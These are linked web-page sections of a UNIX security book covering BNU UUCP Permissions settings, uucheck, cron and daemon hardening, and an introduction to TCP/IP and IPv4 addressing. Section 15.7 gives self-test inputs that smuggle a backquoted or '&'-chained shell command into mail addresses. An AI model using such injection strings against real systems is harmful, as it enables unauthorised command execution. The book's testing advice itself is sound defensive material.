LOGNAME=Ugarp READ=/usr/spool/uucppublic WRITE=/usr/spool/uucppublic
MACHINE=garp READ=/usr/spool/uucppublic WRITE=/usr/spool/uucppublic

15.5.1.1 Starting up

When uucico starts, it scans the Permissions file to determine which commands the remote machine can execute and which files can be accessed.

When uucicio calls another system, it looks for a block of commands containing a MACHINE=system statement, where system is the name of the machine that it is calling. For example, if you are calling the machine idr, it looks for a line in the form:

MACHINE=idr

When uucico is started by another computer logging in to your local machine, uucico looks for a block of commands containing a LOGNAME=loginname, where loginname is the username with which the remote computer has logged in. For example, if the remote computer has logged in with the username Uidr, the uucico running on your computer looks for a block of commands with a line containing this statement:

LOGNAME=Uidr

Other commands in the command block specify what the remote machine can do:

15.5.1.2 Name-value pairs

In BNU terminology, the MACHINE=, LOGNAME=, READ=, and WRITE= statements are called " name-value pairs." This name comes from their format:

name=value

To specify a block of commands for use when calling the machine bread, you would use a command in the form:

  MACHINE=bread

You can specify multiple values by separating them with colons (:). For example:

MACHINE=bread:butter:circus

15.5.1.3 A Sample Permissions file

Here is the sample Permissions file again:

LOGNAME=Ugarp READ=/usr/spool/uucppublic WRITE=/usr/spool/uucppublic
MACHINE=garp READ=/usr/spool/uucppublic WRITE=/usr/spool/uucppublic

This Permissions file gives the machine garp permission to read and write files in the /usr/spool/uucppublic directory. It also allows any remote computer logging in with the UUCP login Ugarp to read and write files from those directories.

Here is another example:

# If garp calls us, only allow access to uucppublic
#
  LOGNAME=Ugarp MACHINE=garp READ=/usr/spool/uucppublic \
WRITE=/usr/spool/uucppublic

This command allows the machine garp to read or write any file in /usr/spool/uucppublic, but only when the machine garp logs into your computer using the uucp login Ugarp. Notice in this example that the backslash (\) character is used to continue the entry on the following line. To include a comment, begin a line with a hash mark (#).

You can combine a LOGNAME= and a MACHINE= entry in a single line:

# Let garp have lots of access
#
LOGNAME=Ugarp MACHINE=garp READ=/ WRITE=/ REQUEST=yes SENDFILES=yes

The REQUEST=yes name-value pair allows garp to request files from your machine. The SENDFILES=yes pair allows you to send files to garp even when it initiates the call to you.

If you assign a unique login ID for each UUCP system with which you communicate, then LOGNAME= and MACHINE= can each be thought of as controlling one direction of the file transfer operation. But if the same login ID is shared by several UUCP systems, they will all be covered by the same LOGNAME= entry when they call you, even though they will each be covered by their own MACHINE= entry when you call them.

15.5.2 Permissions Commands

BNU UUCP has 13 different commands that can be included in the Permissions file. These commands help provide the flexibility that BNU allows over UUCP connections. These commands are placed in the same command block as the MACHINE= and LOGNAME= commands described above. You can specify as many commands in a block as you wish.

A MACHINE= entry in the Permissions file is used when a specific remote site is contacted by the local computer. Specify a MACHINE= OTHER entry to define a Permissions entry for any machine that is not explicitly referenced.

For example:

# Setup for when we call garp
MACHINE=garp

LOGNAME= is used when a remote site logs in with a specific login name. Each UUCP login name should appear in only one LOGNAME entry.

For example:

# Setup login for when garp calls
LOGNAME=Ugarp

You can specify a LOGNAME=OTHER entry to define a Permissions entry for any machine that is not explicitly referenced.

For example:

# Setup login for everybody else
LOGNAME=OTHER

REQUEST= specifies whether the remote system can request file transfers with your computer. The default is "no," which means that files can be transferred only if the uucp command is issued on your computer.

For example:

# Let garp request files
MACHINE=garp LOGNAME=Ugarp REQUEST=YES

SENDFILES= specifies whether files that are queued on the local system should be sent to the calling system when it contacts the local system. The default is "call," which means "no, don't send any queued files when the other computer calls me; hold the files until I call the other computer." The reason for this option is that you are more sure of the identity of a remote computer when you call it than when it calls you. If you set this entry to "yes," all of the queued files will be sent whenever the remote system calls you, or when you call it, whichever happens first. This option makes sense only with the LOGNAME entries. If this option is used with a MACHINE entry, it is ignored.

For example:

# Send files to garp when it calls us
LOGNAME=Ugarp SENDFILES=YES

PUBDIR= allows you to specify directories for public access. The default is /usr/spool/uucppublic.

For example:

# Let garp use two public directories
MACHINE=garp LOGNAME=Ugarp READ=/ WRITE=/ \
PUBDIR=/usr/spool/uucppublic:/usr/spool/garp

READ= and WRITE= specify the directories that uucico can use to read from or write to. The default is the PUBDIR.

You can specify access to all of the temporary directories on your system with the following command:

# Let garp read lots
MACHINE=garp LOGNAME=Ugarp \
READ=/usr/spool/uucppublic:/tmp:/usr/tmp \
WRITE=/usr/spool/uucppublic:/tmp:/usr/tmp

You can let garp access every file on your system with the command:

# Let garp read even more
MACHINE=garp LOGNAME=Ugarp \
READ=/ WRITE=/

We don't recommend this!

NOREAD= and NOWRITE= specify directories that uucico may not read to or write from, even if those directories are included in a READ or a WRITE command. You might want to use the NOREAD and NOWRITE directives to exclude directories like /etc and /usr/lib/uucp, so that there is no way that people on machines connected to yours via UUCP can read files like /etc/passwd and /usr/lib/uucp/Systems.

For example:

MACHINE=garp LOGNAME=Ugarp \
READ=/ \
WRITE=/usr/spool/uucppublic:/tmp:/usr/tmp \
NOREAD=/etc:/usr/lib/uucp \
NOWRITE=/etc:/usr/lib/uucp

CALLBACK=specifies whether or not the local system must call back the calling system before file transfer can occur. The default is "no." CALLBACK enhances security in some environments. Normally, it is possible with UUCP for one machine to masquerade as another. If you call a remote machine, however, it is unlikely that such a masquerade is taking place. CALLBACK is also useful for situations where one computer is equipped with a low-cost, long-distance telephone line, so that the majority of the call will be billed at the lower rate. The CALLBACK command makes sense only for LOGNAME entries. If two sites have CALLBACK=yes specified for each other, the machines will continually call back and forth, but no data will be transferred.

For example:

# We'll call garp
LOGNAME=Ugarp CALLBACK=YES

For further information, see our comments on callback in Chapter 14.

COMMANDS= specifies commands that the remote system can execute on the local computer. When uuxqt executes a command, it searches the Permissions file for the MACHINE= entry associated with the particular system from which the commands were sent. The MACHINE= entry is the one that is used, even if the uucico connection was originated by the remote machine and a different LOGNAME= entry is being used.

The default value for COMMANDS is compiled into your version of uuxqt; if you have source code, it is defined in the file params.h. The COMMANDS= entry often has the single form:

COMMANDS=rmail

You can specify a full pathname:

COMMANDS=rmail:/usr/bin/rnews:/usr/ucb/lpr

You can specify the value ALL, which allows any command to be executed:

COMMANDS=ALL

You probably don't want to specify ALL unless you have complete control over all of the machines that you connect to with UUCP.

For example:

# Let garp send us mail, netnews, and print files
MACHINE=garp LOGNAME=Ugarp \
COMMANDS=rmail:rnews:lpr

VALIDATE= is used with a LOGNAME entry to provide a small additional degree of security. Specifying a machine name (or many machine names) in the VALIDATE= entry will allow that UUCP login to be used only by those machines.

For example:

# Let's be sure about garp
LOGNAME=Ugarp VALIDATE=garp

This command prevents any UUCP computer other than garp from using the Ugarp login. Of course, anybody interested in using UUCP to break into your computer could as easily change their UUCP name to be garp, so this command really doesn't provide very much security.

MYNAME= can be used to change the UUCP name of your computer when it initiates a UUCP connection. This command is useful for testing. It is also helpful when you use a generic name for your site, but it is not the same as your UUCP machine. For example:

# When we call garp, present ourselves as bigcorp
MACHINE=garp \
MYNAME=bigcorp

Got that? You can make your computer have any UUCP name that you want! Anybody else can do this as well, so be careful if you let any machine execute commands (specified in the COMMANDS= entry) that might be considered potentially unsafe (e.g., rm, shutdown).

NOTE: If you wish to run a secure system, the directory /usr/lib/uucp (or /etc/uucp) must not be in the WRITE directory list (or it must be in the NOWRITE list)! If users from the outside are allowed to transfer into these directories, they can change the Permissions file to allow them to execute any command that they wish. Similarly, local users can use the uucp command to change these files, and then subvert UUCP. Giving all access from the / directory is also dangerous - as such, people outside your organization can subvert your system easily. Furthermore, the home directory for the uucp user should not be in the / usr/spool/uucp/uucppublic directory, or in any other directory that can be written to by a uucp user. Doing so allows an outside user to subvert the system.

15.5.3 uucheck: Checking Your Permissions File

Verifying the Permissions file can be tricky. To help with this important task, BNU includes a program called uucheck that does it for you.

Normally, the uucheck program only reports security problems. However, it has a -v option which causes the program to produce a full report.

Below is a sample Permissions file that lets the computer garp (or anybody using the UUCP login Ugarp) access a variety of files and execute a number of commands:

# cat Permissions
MACHINE=garp LOGNAME=Ugarp \
COMMANDS=rmail:rnews:uucp \
READ=/usr/spool/uucppublic:/usr/tmp \
WRITE=/usr/spool/uucppublic:/usr/tmp \
SENDFILES=yes REQUEST=no

Here is the output from the uucheck program run with the above Permissions file:

Example 15.1: Verifying the Sample UUCP Permissions File

# /usr/lib/uucp/uucheck -v
*** uucheck:  Check Required Files and Directories
*** uucheck:  Directories Check Complete

*** uucheck:  Check /etc/uucp/Permissions file
** LOGNAME PHASE (when they call us)

When a system logs in as: (Ugarp)
        We DO NOT allow them to request files.
        We WILL send files queued for them on this call.
        They can send files to
            /usr/spool/uucppublic
            /usr/tmp
        Sent files will be created in /var/spool/uucp
         before they are copied to the target directory.
        Myname for the conversation will be sun.
        PUBDIR for the conversation will be /usr/spool/uucppublic.

** MACHINE PHASE (when we call or execute their uux requests)

When we call system(s): (garp)
        We DO NOT allow them to request files.
        They can send files to
            /usr/spool/uucppublic
            /usr/tmp
        Sent files will be created in /var/spool/uucp
         before they are copied to the target directory.
        Myname for the conversation will be sun.
        PUBDIR for the conversation will be /usr/spool/uucppublic.

Machine(s): (garp)
CAN execute the following commands:
command (rmail), fullname (rmail)
command (rnews), fullname (rnews)
command (uucp), fullname (uucp)

*** uucheck:  /etc/uucp/Permissions Check Complete

#

Previous: 15.4 Security in Version 2 UUCP | Practical UNIX & Internet Security | Next: 15.6 Additional Security Concerns
15.4 Security in Version 2 UUCP | Book Index | 15.6 Additional Security Concerns


[Chapter 15] 15.6 Additional Security Concerns

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 15.5 Security in BNU UUCP Chapter 15
UUCP 		Next: 15.7 Early Security Problems with UUCP

15.6 Additional Security Concerns

UUCP is often set up by UNIX vendors in ways that compromise security. In addition to the concerns mentioned in earlier sections, there are a number of other things to check on your UUCP system.

15.6.1 Mail Forwarding for UUCP

Be sure when electronic mail is sent to the uucp user that it is actually delivered to the people who are responsible for administering your system. That is, there should be a mail alias for uucp that redirects mail to another account. Do not use a .forward file to do this. If the file is owned by uucp, the file could be altered to subvert the UUCP system. Instead, use whatever other alias mechanism is supported by your mailer.

15.6.2 Automatic Execution of Cleanup Scripts

The UUCP system has a number of shell files that are run on a periodic basis to attempt to redeliver old mail and delete junk files that sometimes accumulate in the UUCP directories.

On many systems, these shell files are run automatically by the crontab daemon as user root, rather than user uucp. On these systems, if an attacker can take over the uucp account and modify these shell scripts, then the attacker has effectively taken over control of the entire system; the next time crontab runs these cleanup files, it will be executing the attacker's shell scripts as root!

You should be sure that crontab runs all uucp scripts as the user uucp, rather than as the user root. However, the scripts themselves should be owned by root, not uucp, so that they can't be modified by people using the uucp programs.

If you are running an ancient version of cron that doesn't support separate files for each account, or that doesn't have an explicit user ID field in the crontab file, you should use a su command in the crontab file to set the UID of the cleanup process to that of the UUCP login. Change:

0 2 * * * /usr/lib/uucp/daily

to:

0 2 * * * su uucp -c /usr/lib/uucp/daily

On somewhat newer crontab systems that still don't support a separate crontab file for each user, change this:

0 2 * * * root /usr/lib/uucp/daily

to:

0 2 * * * uucp /usr/lib/uucp/daily

If you are using System V, the invocation of the daily shell script should be in the file /usr/spool/cron/crontabs/uucp, and it should not be in the file /usr/spool/cron/crontabs/root.

Previous: 15.5 Security in BNU UUCP | Practical UNIX & Internet Security | Next: 15.7 Early Security Problems with UUCP
15.5 Security in BNU UUCP | Book Index | 15.7 Early Security Problems with UUCP


[Chapter 15] 15.7 Early Security Problems with UUCP

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 15.6 Additional Security Concerns Chapter 15
UUCP 		Next: 15.8 UUCP Over Networks

15.7 Early Security Problems with UUCP

UUCP is one of the oldest major subsystems of the UNIX operating system (older than the csh), and it has had its share of security holes. All of the known security problems have been fixed in recent years. Unfortunately, there are still some old versions of UUCP in use.

The main UUCP security problems were most easily triggered by sending mail messages to addresses other than valid user names. In one version of UUCP, mail could be sent directly to a file; in another version of UUCP, mail could be sent to a special address that caused a command to be executed - sometimes as root! Both of these holes pose obvious security problems. [8]

[8] Interestingly enough, these same problems reappeared in the sendmail program in recent years. People designing software don't seem to be very good about learning from the past.

Fortunately, you can easily check to see if the version of UUCP you are running contains these flaws. If it does, get a software upgrade, or disable your version of UUCP. A current version of BNU UUCP can be licensed from AT&T if your vendor doesn't have one.

To check your version of UUCP, follow the steps outlined here:

  1. Your mail system should not allow mail to be sent directly to a file. Mailers that deliver directly to files can be used to corrupt system databases or application programs. You can test whether or not your system allows mail to be sent to a file with the command sequence:

    $ mail /tmp/mailbug
this is a mailbug file test
^D

    If the file mailbug appears in the /tmp directory, then your mailer is unsecure. If your mailer returns a mail message to you with an error notification (usually containing a message like "cannot deliver to a file"), then your mail program does not contain this error. You should try this test with /bin/mail, /bin/rmail, and any other mail delivery program on your system.

  2. Your UUCP system should not allow commands to be encapsulated in addresses. This bug arises from the fact that some early uuxqt implementations used the system ( ) library function to spawn commands (including mail). Mail sent to an address containing a backrsquoed command string would cause that command string to be executed before the mail was delivered. You can test whether or not your system executes commands encapsulated in addresses with the command sequence:

    $ uux - mail 'root `/bin/touch /tmp/foo`'
this is a mailbug command test
^D
$ uux - mail 'root & /bin/touch /tmp/foo'
this is another test
^D

    The system should return mail with a message that /bin/touch /tmp/foo is an unknown user. If the mailer executed the touch - you can tell because a foo file will be created in your /tmp directory - then your uux program is unsecure. Get a new version from your vendor.

  3. Check both types of addresses described earlier for mail that is sent by UUCP as well as for mail that originates locally on your system. For example, if the machines prose and idr are connected by UUCP, then log onto idr and try:

    $ mail 'prose!/tmp/send1'
Subject: This is a mailbug test
Test
^D
$ mail 'prose!`/bin/touch /tmp/foo`'
Subject: This is a mail bugtest #2
Another test.
^D

Previous: 15.6 Additional Security Concerns | Practical UNIX & Internet Security | Next: 15.8 UUCP Over Networks
15.6 Additional Security Concerns | Book Index | 15.8 UUCP Over Networks


[Chapter 15] 15.8 UUCP Over Networks

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 15.7 Early Security Problems with UUCP Chapter 15
UUCP 		Next: 15.9 Summary

15.8 UUCP Over Networks

Some versions of UNIX, starting in the late 1980s, allowed transfer of files over IP networks in addition to serial lines. This capability was intended as a convenience for sites that were migrating from primarily phone-based networking to IP-based networking that the sites could continue to use existing UUCP configurations. This upgrade was also intended as a stopgap for Usenet news delivery prior to the development of reliable NNTP-based systems.

The way IP-based UUCP works is via a daemon program, usually named uucp d. A receiving host machine will either have a uucpd daemon always running, or it will run when an incoming connection is requested (see Chapter 17). The sending machine's uucico program will connect with the remote machine's uucpd program to transfer files. Instead of running login followed by uucico in Slave mode, the remote site uses uucpd.

The key to keep in mind for security is that the uucp daemon should be disabled on your machine if you are not going to use it. Because you have no telephone lines, you might believe that you don't need to worry about the uucp installation. This is incorrect! If the daemon is enabled, the default uucp configuration files might be enough to allow an outsider to snatch copies of files, install altered commands, or fill up your disk.

If you are not using UUCP over networks, be sure that this aspect is disabled. And if you are not going to be using UUCP at all, we suggest you delete UUCP and its associated files from your system to prevent any accidents that might enable it or allow it to be used against your system.

NOTE: If you have UUCP enabled on a machine with an FTP server, be sure to add all your UUCP accounts to the /etc/ftpusers file. Otherwise, anyone who obtains a UUCP account password will be able to use your ftp service to transfer any files accessible to UUCP into or out of your filesystem (including UUCP control files and binaries - which could compromise your system).

Previous: 15.7 Early Security Problems with UUCP | Practical UNIX & Internet Security | Next: 15.9 Summary
15.7 Early Security Problems with UUCP | Book Index | 15.9 Summary


[Chapter 15] 15.9 Summary

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 15.8 UUCP Over Networks Chapter 15
UUCP 		Next: 16. TCP/IP Networks

15.9 Summary

Although UUCP can be made relatively secure, most versions of UUCP, as distributed by vendors, are not. If you do not intend to use UUCP, you may wish to delete (or protect) the UUCP system altogether. If you are not running UUCP, check the permissions on the uucppublic directory, and set them to 0.

If you do use UUCP:

  • Be sure that the UUCP control files are protected and cannot be read or modified using the UUCP program.

  • Only give uucp access to the directories to which it needs access. You may wish to limit uucp to the directory /usr/spool/uucppublic.

  • If possible, assign a different login to each UUCP site.

  • Consider using callback on your connections.

  • Limit the commands which can be executed from off-site to those that are absolutely necessary.

  • Disable or delete any uucpd daemon if you aren't using it.

  • Remove all of the UUCP software and libraries if you aren't going to use them.

  • Be sure to add all uucp accounts to the ftpusers restriction file.

Previous: 15.8 UUCP Over Networks | Practical UNIX & Internet Security | Next: 16. TCP/IP Networks
15.8 UUCP Over Networks | Book Index | 16. TCP/IP Networks


[Chapter 16] TCP/IP Networks

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 15.9 Summary Chapter 16 Next: 16.2 IPv4: The Internet Protocol Version 4

16. TCP/IP Networks

Contents:
Networking
IPv4: The Internet Protocol Version 4
IP Security
Other Network Protocols
Summary

Local and wide area computer networks have changed the landscape of computing forever. Almost gone are the days when each computer was separate and distinct. Today, networks allow people across a room or across the globe to exchange electronic messages, share resources such as printers and disk drives, or even use each other's computers. Networks have become such an indispensable part of so many people's lives that one can hardly imagine using modern computers without them.

But networks have also brought with them their share of security problems, precisely because of their power to let users easily share information and resources. Networks allow people you have never met to reach out and touch you - and erase all of your files in the process. They have enabled individuals to launch sophisticated electronic attacks against major institutions as well as desktop computers in home offices. Indeed, networks have created almost as many risks as they have created opportunities.

The next six chapters of this book discuss UNIX security issues arising from the deployment of computer networks. In this chapter we describe local and wide area networks, and show how they fit into the UNIX security picture.

16.1 Networking

From a practical viewpoint, computer users today usually divide the world of networking into two halves:

  • Local Area Networks (LANS) are high-speed networks used to connect together computers at a single location. Popular LANS include Ethernet (see Figure 16.1), token ring, and 10Base-T (also known as twisted-pair; see Figure 16.2). LANS typically run at 10 megabits/sec or faster. LANS capable of 100 megabits/sec are expected to be widely available in the coming years.

  • Wide Area Networks (WANS) are slower-speed networks that organizations typically use to connect their LANS. WANS are often built from leased telephone lines capable of moving data at speeds of 56 kilobits/sec to 1.55 megabits/sec. A WAN might bridge a company's offices on either side of the town or on either side of a continent. Some WANS are shared by several organizations.

Figure 16.1: Ethernet local area network

Figure 16.2: 10Base-T local area network

Some authors also use the terms Enterprise Networks and Metropolitan Networks (MANS). In general, these are simply combinations of LANS and WANS which serve a logically related group of systems.

Many businesses started using LANS in the late 1980s and expanded into the world of WANS in the early 1990s. Nevertheless, the technology to network computers was actually developed in the reverse order: WANS were first developed in the early 1970s to network timesharing computers that were used by many people at the same time. Later, in the early 1980s, LANS were developed, after computers became economical and single-user computers became a financial reality.

16.1.1 The Internet[1]

[1] We recommend that readers interested in the history of networks read the excellent Casting the Net: From ARPANET to INTERNET and Beyond, by Peter H. Salus (Addison-Wesley, 1995).

One of the first computer networks was the ARPANET, developed in the early 1970s by universities and corporations working under contract to the Department of Defense's Advanced Research Projects Agency (ARPA, once also known as DARPA). The ARPANET linked computers around the world, and served as a backbone for many other regional and campus-wide networks that sprang up in the 1980s. In the late 1980s, the ARPANET was superseded by the NSFNET, funded in part by the National Science Foundation. Funding for the NSFNET was cut in the early 1990s as commercial networks grew in number and scope.

Today, the descendent of the ARPANET is known as the Internet. The Internet is an IP-based[2] network that encompasses hundreds of thousands of computers and tens of millions of users throughout the world. Similar to the phone system, the Internet is well connected. Any one of those tens of millions of users can send you electronic mail, exchange files with your FTP file server, or try his hand at breaking into your system - if your system is configured to allow them the access necessary to do so.

[2] IP stands for Internet Protocol, the basic protocol family for packet interchange.

16.1.1.1 Who is on the Internet?

In the early days of the ARPANET, the network was primarily used by a small group of research scientists, students, and administrative personnel. Security problems were rare: if somebody on the network was disruptive, tracking him down and having him disciplined was a simple matter. In extreme cases, people could lose their network privileges, or even their jobs (which produced the same result). In many ways, the Internet was a large, private club.

These days the Internet is not so exclusive. The Internet has grown so large that you can almost never determine the identity of somebody who is breaking into your system: attackers may appear to be coming from a university in upstate New York, but the real story can be quite different. Attackers based in the Netherlands could have broken into a system in Australia, connected through the Australian system to a system in South Africa, and finally connected through the South African system to a New York university. The attackers could then use the New York account as a base of operations to launch attacks against other sites, with little chance of being traced back to their own site. This site hopping is known as network weaving or connection laundering.

Even if you are persistent and discover the true identity of your attacker, you may have no course of action: the attacks may be coming from a country that does not recognize breaking into computers as a crime. Or, the attacks may be coming from an agent of a foreign government, as part of a plan to develop so-called "information warfare" capabilities.[3] There is also a suspected component of activity by organized crime, and by some multinational corporations. In each of these cases, there may be considerable resources arrayed against any attempt to identify and prosecute the perpetrators.

[3] Some authorities speculate (in private) that as many as a third of break-ins to major corporate and government computers in the U.S. may be the result of "probe" attempts by foreign agents, at least indirectly.

16.1.2 Networking and UNIX

UNIX has both benefited from and contributed to the popularity of networking. Berkeley's 4.2 release in 1983 provided a straightforward and reasonably reliable implementation of the Internet Protocol (IP), the data communications standard that the Internet uses. Since then, the Berkeley networking code has been adopted by most UNIX vendors, as well as by vendors of many non-UNIX systems.

After more than a decade of development, the UNIX operating system has evolved to such a point that nearly all of the things that you can do on a single time-shared computer can be done as least as well as on a network of UNIX workstations. Here is a sample list:

  • Remote virtual terminals (telnet and rlogin). Lets you log into another computer on the network.

  • Remote file service. Lets you access your files on one computer while you are using another.

  • Electronic mail (mail and sendmail). Lets you send a message to a user or users on another computer.

  • Electronic directory service (finger, whois, and ph). Lets you find out the username, telephone number, and other information about somebody on another computer.

  • Date and time. Lets your computer automatically synchronize its clock with other computers on the network.

  • Remote Procedure Call (RPC). Lets you invoke subroutines and programs on remote systems as if they were on your local machine.

Previous: 15.9 Summary | Practical UNIX & Internet Security | Next: 16.2 IPv4: The Internet Protocol Version 4
15.9 Summary | Book Index | 16.2 IPv4: The Internet Protocol Version 4


[Chapter 16] 16.2 IPv4: The Internet Protocol Version 4

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 16.1 Networking Chapter 16
TCP/IP Networks 		Next: 16.3 IP Security

16.2 IPv4: The Internet Protocol Version 4

The Internet Protocol is the glue that holds together modern computer networks. IP specifies the way that messages are sent from computer to computer; it essentially defines a common "language" that is spoken by every computer stationed on the Internet.

This section describes IPv4, the fourth version of the Internet Protocol, which has been used on the Internet since 1982. As this book is going to press, work is continuing on IPv6, previously called "IP: The Next Generation," or IPng. (IPv5 was an experimental protocol that was never widely used.) We do not know when (or if) IPv6 will be widely used on the network.

As we said earlier, at a very abstract level the Internet is similar to the phone network. However, as we look more closely at the underlying protocols, we find that it is quite different. On the telephone network, each conversation is assigned a circuit (either a pair of wires or a channel on a multiplexed connection) that it uses for the duration of the telephone call. Whether you talk or not, the channel remains open until you hang up the phone.

On the Internet, the connections between computers are shared by all of the conversations. Data is sent in blocks of characters called datagrams, or more colloquially, packets. Each packet has a small block of bytes called the header, which identifies its sender and intended destination on each computer. The header is followed by another, usually larger, block of characters of data called the packet's contents. (See Figure 16.3.) After the packets reach their destination, they are often reassembled into a continuous stream of data; this fragmentation and reassembly process is usually invisible to the user. As there are often many different routes from one system to another, each packet may take a slightly different path from source to destination. Because the Internet switches packets, instead of circuits, it is called a packet-switching network.

Figure 16.3: IP header and packet

We'll borrow an analogy from Vint Cerf, one of the original architects of the ARPANET: think of the IP protocol as sending a novel a page at a time, numbered and glued to the back of postcards. All the postcards from every user get thrown together and carried by the same trucks to their destinations, where they get sorted out. Sometimes, the postcards get delivered out of order. Sometimes, a postcard may not get delivered at all, but you can use the page numbers to request another copy. And, key for security, anyone in the postal service who handles the post cards can read the contents without the recipient or sender knowing about it.

There are three distinct ways to directly connect two computers together using IP:

  • The computers can all be connected to the same local area network. Two common LANS are Ethernet and token ring. Internet packets are then encapsulated within the packets used by the local area network.[4]

    [4] LANs and token rings can also carry protocols other than IP (including Novell IPX and Appletalk), often at the same time as IP network traffic.

  • Two computers can be directly connected to each other with a serial line. IP packets are then sent using either SLIP (Serial Line Internet Protocol), CSLIP (Compressed SLIP), or PPP (Point-to-Point Protocol). If both computers are each in turn connected to a local area network, the telephone link will bridge together the two LANS. (See Figure 16.4.)

  • The IP packets can themselves be encapsulated within packets used by other network protocols. Today, many 56K "leased lines" are actually built by encapsulating IP packets within Frame Relay packets. Within a few years, IP may be commonly encapsulated within ATM (Asynchronous Transfer Mode) networks.[5]

    [5] If our use of all these network terms is causing your eyes to roll back into your head and a loud buzzing sound to fill your ears, take a break and several deep breaths. Then consult a book on IP and networks for a more complete explanation. We recommend the excellent Internetworking with TCP/IP by Doug Comer (Prentice Hall, 1991).

Figure 16.4: Bridging two local area networks

IP is a scalable network protocol: it works as well with a small office network of ten workstations as it does with a university-sized network supporting a few hundred workstations, or with the national (and international) networks that support tens of thousands of computers. IP scales because it views these large networks merely as collections of smaller ones. Computers connected to a network are called hosts. Computers that are connected to two or more networks can be programmed to forward packets automatically from one network to another; today, these computers are called routers (originally they were called gateways). Routers use routing tables to determine where to send packets next.

16.2.1 Internet Addresses

Every interface that a computer has on an IP network is assigned a unique 32-bit address. These addresses are often expressed as a set of four 8-bit numbers, called octets. A sample address is 18.70.0.224. Think of an IP address as if it were a telephone number: if you know a computer's IP address, you can connect to it and exchange information.

Theoretically, the 32-bit IP address allows a maximum of 232 = 4,294,967,296 computers to be attached to the Internet at a given time. In practice, the total number of computers that can be connected is much less, because of the way that IP addresses are assigned. Organizations are usually assigned blocks of addresses, not all of which are used. This approach is similar to the method by which the phone company assigns area codes to a region. The approach has led to a problem with IP addresses similar to that faced by the telephone company: we're running out of numbers.

Here are some more sample Internet addresses:

18.85.0.2
198.3.5.1
204.17.195.100

IP addresses are typically abbreviated ii.jj.kk.ll, where the numbers ii, jj, kk, and ll are between 0 and 255. Each decimal number represents an 8-bit octet. Together, they represent the 32-bit IP address.

16.2.1.1 IP networks

The Internet is a network of networks. Although most people think of these networks as major networks, such as those belonging to companies like AT&T, MCI, and Sprint, the networks that make up the Internet are actually local area networks, such as the network in your office building or the network in a small research laboratory. Each of these small networks is given its own network number.

There are two methods of looking at network numbers. The "classical" network numbers were distinguished by a unique prefix of bits in the address of each host in the network. This approach partitioned the address space into a well-defined set of different size networks. However, several of these networks had large "holes" - sets of host addresses that were never used. With the explosion of sites on the Internet, a somewhat different interpretation of network addresses has been proposed, to result in some additional addresses that can be assigned to networks and hosts. This approach is the CIDR (Classless InterDomain Routing) scheme. We briefly describe both schemes below.

The CIDR method may not be adequate to provide addresses for all the expected hosts on the network; therefore, as we've mentioned, a new protocol, IPv6, is being developed. This new protocol will provide a bigger address space for hosts and networks, and will provide some additional security features. Host addresses will be 128 bits long in IPv6. As this book goes to press, the features of IPv6 are not completely finalized, so we won't try to detail them here.[6]

[6] But you can be sure we'll cover them in the next edition!

16.2.1.2 Classical network addresses

There are five primary kinds of IP addresses in the "classical" address scheme; the first few bits of the address (themost significant bits) define the class of network to which the address belongs. The remaining bits are divided into a network part and a host part:

Class A addresses

Hosts on Class A networks have addresses in the form N.a.b.c, where N is the network number and a.b.c is the host number; the most significant bit of N must be zero. There are not many Class A networks, as they are quite wasteful: unless your network has 16,777,216 separate hosts, you don't need a Class A network. Nevertheless, many early pioneers of the Internet, such as MIT and Bolt Beranek and Newman (BBN), have been assigned Class A networks. Of course, these organizations don't really put all of their computers on the same piece of network. Instead, most of them divide their internal networks as (effectively) Class B or Class C networks. This approach is known as subnetting.

Class B addresses

Hosts on Class B networks have addresses in the form N.M.a.b, where N.M is the network number and a.b is the host number; the most significant two bits of N must be 10. Class B networks are commonly found at large universities and major commercial organizations.

Class C addresses

Hosts on Class C networks have addresses in the form N.M.O.a, where N.M.O is the network number and a is the host number; the most significant three bits of N must be 110. These networks can only accommodate a maximum of 254 hosts. (Flaws and incompatibilities between various UNIX IP implementations make it unwise to assign IP addresses ending in 0 or 255.) Most organizations have one or more Class C networks.

Class D addresses

A Class D address is of the form N.M.O.a, where the most significant four bits of N are 1110. These addresses are not actually of networks, but of multicast groups - sets of hosts that listen on a common address to receive broadcast addresses.

Class E addresses

A Class E address is of the form N.M.O.P, where the most significant four bits of N are 1111. These addresses are currently reserved for experimental use.

16.2.1.3 CIDR addresses

In recent years, a new form of address assignment has been developed. This assignment is the CIDR, or Classless InterDomain Routing, method. As the name implies, there are no "classes" of addresses as in the classical scheme. Instead, networks are defined as being the most significant k bits of each address, with the remaining 32-k bits being used for the host part of the address. Thus, a service provider could be given a range of addresses whereby the first 12 bits of the address are fixed at a particular value (the network address), and the remaining 20 bits represent the host portion of the address. This method allows the service provider to allocate up to 220 distinct addresses to customers.

In reality, the host portion of an address is further divided into subnets. This subdivision is done by fixing the first jbits of the host portion of the address to some set value, and using the remaining bits for host addresses. And those can be further divided into subnets, and so on. A CIDR-format address is of the form k.j.l.(m...n), where each of the fields is of variable length. Thus, the fictional service-provider network address described above could be subdivided into 1024 subnets, one for each customer. Each customer would have 210 bits of host address, which they could further subdivide into local subnets.

The CIDR scheme is compatible with the classical address format, with Class A addresses using an 8-bit network field, Class B networks using a 16-bit network address, and so on. CIDR is being adopted as this book goes to press. Combined with new developments in IP address rewriting, there is the potential to spread out the useful life of IPv4 for many years to come.

16.2.2 Routing

Despite the complexity of the Internet and addressing, computers can easily send each other messages across the global network. To send a packet, most computers simply set the packet's destination address and then send the packet to a computer on their local network called a gateway. If the gateway makes a determination of where to send the packet next, the gateway is a router. The router takes care of sending the packet to its final destination by forwarding the packet on to a directly connected gateway that is one step closer to the destination host.

Many organizations configure their internal networks as a large tree. At the root of the tree is the organization's connection to the Internet. When a gateway receives a packet, it decides whether to send it to one of its own subnetworks, or to direct it towards the root.

Out on the Internet, major IP providers such as AT&T, BBN Planet, MCI, and Sprint have far more complicated networks with sophisticated routing algorithms. Many of these providers have redundant networks, so that if one link malfunctions other links can take over.

